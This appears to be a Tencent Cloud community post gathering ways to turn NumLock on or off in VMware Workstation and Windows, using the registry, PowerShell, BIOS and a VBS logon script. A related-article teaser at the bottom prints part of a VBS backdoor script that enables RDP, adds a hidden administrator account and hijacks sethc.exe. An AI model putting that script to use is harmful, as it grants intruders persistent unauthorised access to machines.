Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Disable Num Lock notification in VMware Workstation

Disable Num Lock notification in VMware Workstation

原创
作者头像
Windows技术交流
发布于 2021-09-29 15:48:10
发布于 2021-09-29 15:48:10
1.7K0
举报
文章被收录于专栏:Windows技术交流Windows技术交流

http://www.edugeek.net/forums/network-classroom-management/102744-vmware-numlock-num-lock-off-num-lock-num-lock-off.html

Main → Keyboard Features → NumLock → Off切换为On

添加描述

添加描述

https://www.technipages.com/enable-disable-numlock-windows-startup

Method 1 – Registry Setting

1.Hold the Windows Key then press “R” to bring up the Run dialog box.

2.Type “regedit“, then press “Enter“.

3.Navigate to the following location in the registry:

  • HKEY_USERS
  • .Default
  • Control Panel
  • Keyboard

4.Change the value of InitialKeyboardIndicators

  • Set it to 0 to set NumLock OFF
  • Set it to 2 to set NumLock ON
PowerShell Script

Use the following PowerShell code:

Enable Num Lock:

  • Set-ItemProperty -Path 'Registry::HKU\.DEFAULT\Control Panel\Keyboard' -Name "InitialKeyboardIndicators" -Value "2"

Disable Num Lock:

  • Set-ItemProperty -Path 'Registry::HKU\.DEFAULT\Control Panel\Keyboard' -Name "InitialKeyboardIndicators" -Value "0"

Method 2 – Function Keys

You may have inadvertently pressed a key combination on your keyboard to cause certain letters on your keyboard to be used as a numeric keypad. This is normally the case for laptop users.

In most cases, you will have a “Fn” and “NumLk” key that can be used to toggle this setting on or off. Hold the “Fn” key, then press “NumLk” to toggle the numeric keypad on or off.

Method 3 – BIOS Setting

Most computers, including virtual machines will have a BIOS setting that controls whether or not NumLock is enabled or disabled at startup. You can usually enter the BIOS by pressing a certain key such as “Delete” or “F1” at startup before Windows loads. Once in the BIOS, you should be able to find a setting that controls NumLock.

Method 4 – Startup or Logon Script

If you’re an administrator looking for a way to set the Num Lock on at startup, you can do so using a logon script. There is no specific Group Policy setting to accomplish this. Instead use the following.

  1. Copy and paste the following into a Notepad document, then save it as “numlock.vbs“: set WshShell = CreateObject("WScript.Shell") WshShell.SendKeys "{NUMLOCK}"
  2. Do one of the following:
  • Place the “numlock.vbs” file in the “Startup” folder of the target computer or user.
  • Run the script through Group Policy using these steps:
  1. Place the “numlock.vbs” in one of the following folders:
  2. Local logon script path = “%SystemRoot% \ System32 \ GroupPolicy \ User Computer\ Scripts \ Logon
  3. Domain logon script path = “%SysVolFolder% \ Sysvol \ Sysvol \ DomainName \ Scripts
  4. Hold down the Windows Key and press “R” to bring up the Windows Run dialog box.
  5. Type “mmc“, then press “Enter“.
  6. Go to “File” > “Add/Remove Snap-in” > “Add” > “Group Policy“.
  7. Select the GPO you wish to use by selecting “Browse“. The default is the local computer.
  8. Select “Finish” > “Close” > “OK“.
  9. From the Group Policy Management snap-in, navigate to “User Configuration” or “Computer Configuration” > “Windows Settings” > “Scripts“.
  10. Double-click “Logon script“, then go to “Add” > “Browse“, then select “numlock.vbs“.
  11. Select “Open” > “OK” > “OK“.

Note: The “numlock.vbs” script will simply act like it is pressing the “Num Lock” key once. So really, it will toggle it to the opposite of what it is by default. It’s probably better to use the Registry method, but this method is handy when you’re in a bind.

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
Windows中常见后门持久化方法总结
当我们通过各种方法拿到一个服务器的权限的时候,我们下一步要做的就是后渗透了,而后门持久化也是我们后渗透很重要的一部分,下面我来总结一下windows下常见的后门持久化的方法
HACK学习
2019/10/09
3K0
Windows中常见后门持久化方法总结
笔记本电脑的数字键numlock总是亮(灭),无法关闭的解决方法
4月20号的晚上我姐姐的笔记本电脑上的KLIOM键一直不能打出来字母,只能打出数字,本来以为是键盘坏了,后来我仔细一看原来这几个字母键和数字键是在一起的,肯定是开了键盘上的numlock。可是他的IBM的键盘上居然没有numlock键,没办法只能求助搜索引擎,试了很多种办法,重启了好几次,最后终于搞定了,这里分享一下几种可能的解决方案,我用的是第4个方案。
崔文远TroyCui
2019/02/27
4.8K0
内网渗透 | 浅谈域渗透中的组策略及gpp运用
最近在实战过程中遇到了组策略,发现攻击面其实挺宽广的,这里记录下自己的分析和学习过程。
HACK学习
2021/06/24
3.1K0
内网渗透 | 浅谈域渗透中的组策略及gpp运用
fvwm 4_FV7144TFATG
This command controls several workarounds for bugs in third party programs. The individual options are separated by commas. The optional argument bool is a boolean argument and controls if the bug workaround is enabled or not. It can either be “True” or “False” to turn the option on or off, or “toggle” to switch is back and forth. If bool is omitted, the default setting is restored.
全栈程序员站长
2022/11/09
2690
powershell学习备忘
背景 早就听说微软的powershell非常强大,凭借它可以全命令行操控windows服务器了。最近终于要在工作中用到它了,于是花了几个小时将powershell的基础教程看了下,这里将学习过程中的一些要点记录一下。 环境准备 欲善其事,先利其器,先准备一个开发环境。 个人的开发电脑是macOS 11.13.3,为了开发powershell脚本,在本机安装了一个windows 7 sp1的虚拟机。 升级powershell版本 win7自带的powershell版本较低,这里将windows 7 sp1里自
jeremyxu
2018/05/10
13.1K0
vbs远程木马_vbs 访问webservice
大家好,又见面了,我是你们的朋友全栈君。 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集 2010年12月07日   xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本   vbson error resume next   const HKEY_LOCAL_MACHINE = &H80000002   strComputer = “.”   Set StdOut = WScript.StdOut   Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_   strComputer & “\root\default:StdRegProv”)   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server”   oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”   oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server”   strValueName = “fDenyTSConnections”   dwValue = 0   oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”   strValueName = “PortNumber”   dwValue = 3389   oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue   strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”   strValueName = “PortNumber”   dwValue = 3389   oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue   on error resume next   dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=”HackEr”:password=”393214425″:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=”WinNT://”&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&”/Administrators,group”):Set od=ob.Create(“user”,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&”/”&username&”,user”):oe.Add(of.ADsPath)’wscript.echo of.ADsPath   On Error Resume Next   Dim obj, success   Set obj = CreateObject(“WScript.Shell”)   success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cm
全栈程序员站长
2022/09/29
2.4K0
渗透测试与开发技巧
https://github.com/3gstudent/Pentest-and-Development-Tips
天钧
2021/01/05
4.8K0
基于树莓派的多功能USB实现--BadUSB模式
https://github.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device
PedroQin
2020/02/12
3K0
PS常用命令之文件目录及内容操作
描述: 切换当前工作目录的路径实际上在PowerShell中cd命令就是其的别名。
全栈工程师修炼指南
2022/09/29
8.6K0
PS常用命令之文件目录及内容操作
Xrdp服务安装配置实现Linux远程桌面访问
Tips: 安装完成后即可使用Windows远程桌面工具登录Ubuntu, 非常注意并不需要在家目录中创建.xsession的文件并输入xfce4-session等命令信息(坑);
全栈工程师修炼指南
2022/09/29
11.1K0
Xrdp服务安装配置实现Linux远程桌面访问
基于Appium实现Monkey小工具
基于了appium实现了UI遍历的工具,在这个的基础上,可以参考上面的方式去实现appium版本的monkey。
雷子
2022/09/29
9880
quarkus数据库篇之二:无需数据库也能运行增删改查(dev模式)
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览 本篇内容并非数据库相关的核心知识,而是对一个实用工具的说明介绍,此工具在官方介绍中被称为Zero Config Setup (Dev Services),(零配置的设置,忒莫名其妙) 我这边简单总结为:如果你没有数据库可用,只要你有docker,quarkus应用就能进行数据库相关的开发工作,增删改查啥都行,和有数据库的时候没啥区别 看到这里
程序员欣宸
2022/05/20
8420
quarkus数据库篇之二:无需数据库也能运行增删改查(dev模式)
建议收藏,22个Python迷你项目(附源码)
在使用Python的过程中,我最喜欢的就是Python的各种第三方库,能够完成很多操作。
Python进阶者
2021/03/09
1.1K0
建议收藏,22个Python迷你项目(附源码)
渲染镜像优化
一、如果需要非sysprep(即不入域)的镜像,现有镜像买一台带公网的机器,做如下几个优化:
Windows技术交流
2023/03/23
8940
Docker安装tomcat, mysql,redis(单机版)
即可通过 http://IP:8080 访问,最新版的tomcat10需要把 webapps.dist 目录换成webapps 才能访问主页
鱼找水需要时间
2023/02/16
1.6K0
Docker安装tomcat, mysql,redis(单机版)
36·Python项目-博客(前后不分离)
-多年互联网运维工作经验,曾负责过大规模集群架构自动化运维管理工作。 -擅长Web集群架构与自动化运维,曾负责国内某大型金融公司运维工作。 -devops项目经理兼DBA。 -开发过一套自动化运维平台(功能如下): 1)整合了各个公有云API,自主创建云主机。 2)ELK自动化收集日志功能。 3)Saltstack自动化运维统一配置管理工具。 4)Git、Jenkins自动化代码上线及自动化测试平台。 5)堡垒机,连接Linux、Windows平台及日志审计。 6)SQL执行及审批流程。 7)慢查询日志分析web界面。
DriverZeng
2022/11/08
9110
36·Python项目-博客(前后不分离)
Redis配置文件详解
启动的时候通过配置文件来启动(windows 10 下的redis配置文件, 类同Linux)
后端码匠
2021/01/20
7210
NT10系统安装wmic和netfx3并卸载AzureArcSetup
NT10系统安装wmic和netfx3并卸载AzureArcSetup,这段代码我在用原版ISO安装系统时在自动应答文件里有使用。
Windows技术交流
2024/12/26
1680
【Tomcat】《How Tomcat Works》英文版GPT翻译(第十七章)
This chapter focuses on Tomcat startup using two classes in the org.apache.catalina.startup package, Catalina and Bootstrap. The Catalina class is used to start and stop a Server object as well as parse the Tomcat configuration file, server.xml. The Bootstrap class is the entry point that creates an instance of Catalina and calls its process method. In theory, these two classes could have been merged. However, to support more than one mode of running Tomcat, a number of bootstrap classes are provided. For example, the aforementioned Bootstrap class is used for running Tomcat as a stand-alone application. Another class, org.apache.catalina.startup.BootstrapService, is used to run Tomcat as a Windows NT service.
阿东
2024/01/29
4060
【Tomcat】《How Tomcat Works》英文版GPT翻译(第十七章)
内网渗透测试:初探远程桌面的安全问题
远程桌面对了解内网渗透的人来说可能再熟悉不过了。在渗透测试中,拿下一台主机后有时候会选择开 3389 进远程桌面查看一下对方主机内有无一些有价值的东西可以利用。但是远程桌面的利用不仅如此,本节我们便来初步汇总一下远程桌面在内网渗透中的各种利用姿势。
FB客服
2021/07/02
4.1K0
相关推荐
Windows中常见后门持久化方法总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档